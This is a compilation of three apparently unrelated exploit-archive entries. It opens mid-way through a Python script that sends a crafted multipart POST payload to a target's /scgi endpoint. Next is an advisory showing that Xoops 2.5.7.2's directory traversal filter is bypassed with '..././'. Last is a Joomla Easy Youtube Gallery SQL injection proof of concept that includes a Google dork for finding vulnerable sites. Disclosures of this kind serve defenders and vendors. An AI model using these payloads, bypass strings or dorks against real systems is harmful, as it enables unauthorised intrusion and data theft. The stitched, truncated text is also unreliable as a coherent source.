head += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
head += "Accept-Language: en-us,en;q=0.5\r\n"
head += "Accept-Encoding: gzip, deflate\r\n"
head += "Referer: http://gotcha/scgi?sid="+sid+"&pid="+pid+".htm\r\n"
head += "Proxy-Connection: keep-alive\r\n"
head += "Content-Type: multipart/form-data; boundary=---------------------------20908311357425\r\n"
head += "Content-Length: 1337\r\n"
head += "If-Modified-Since: *\r\n"
head += "\r\n"
head += "-----------------------------217830224120\r\n"
head += "\r\n"
head += "\r\n"
head += "\r\n"
head += buff

conn = httplib.HTTPConnection(target,port)
conn.request("POST", "/scgi?sid="+sid+"&pid="+pid+".htm", head)
            
[+] Credits: John Page aka hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/XOOPS-DIRECTORY-TRAVERSAL.txt


Vendor:
=============
xoops.org


Product:
================
Xoops 2.5.7.2


Vulnerability Type:
===========================
Directory Traversal Bypass


Vulnerability Details:
=====================

Xoops 2.5.7.2 has checks to defend against directory traversal attacks.
However, they can be easily bypassed by simply issuing "..././" instead of
"../"


References:
http://xoops.org/modules/news/article.php?storyid=6757


Exploit Codes:
==============


In Xoops code in 'protector.php' the following check is made for dot dot
slash "../" in HTTP requests

/////////////////////////////////////////////////////////////////////////////////

if( is_array( $_GET[ $key ] ) ) continue ;
if ( substr( trim( $val ) , 0 , 3 ) == '../' || strstr( $val , '../../' ) )
{
 $this->last_error_type = 'DirTraversal' ;
 $this->message .= "Directory Traversal '$val' found.\n" ;

////////////////////////////////////////////////////////////////////////////////

The above Xoops directory traversal check can be defeated by using
 ..././..././..././..././

you can test the theory by using example below test case by supplying
..././ to GET param.

$val=$_GET['c'];

if ( substr( trim( $val ) , 0 , 3 ) == '../' || strstr( $val , '../../' ) )
{
echo "traversal!";
}else{
echo "ok!" . $val;
}



Disclosure Date:
==================================
Feb 2, 2016: Vendor Notification
Vendor confirms and patches Xoops
March 17, 2016 : Public Disclosure

==================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere. (c) hyp3rlinx.
            
######################
# Exploit Title :  Joomla Easy Youtube Gallery 1.0.2 SQL Injection Vulnerability
# Exploit Author : Persian Hack Team
# Vendor Homepage :  http://extensions.joomla.org/extension/easy-youtube-gallery
# Google Dork : inurl:com_easy_youtube_gallery mycategory 
# Date: 2016/03/22
# Version: 1.0.2
######################
# PoC:
# mycategory=[SQL]
# 
# Demo:
# http://server/index.php?option=com_easy_youtube_gallery&view=videos&mycategory=0%27&defaultvideo=9&Itemid=752
#
######################
# Discovered by :
# Mojtaba MobhaM (kazemimojtaba@live.com)
# T3NZOG4N (t3nz0g4n@yahoo.com)
# Homepage : persian-team.ir
# Greetz : Milad_Hacking & FireKernel And You
######################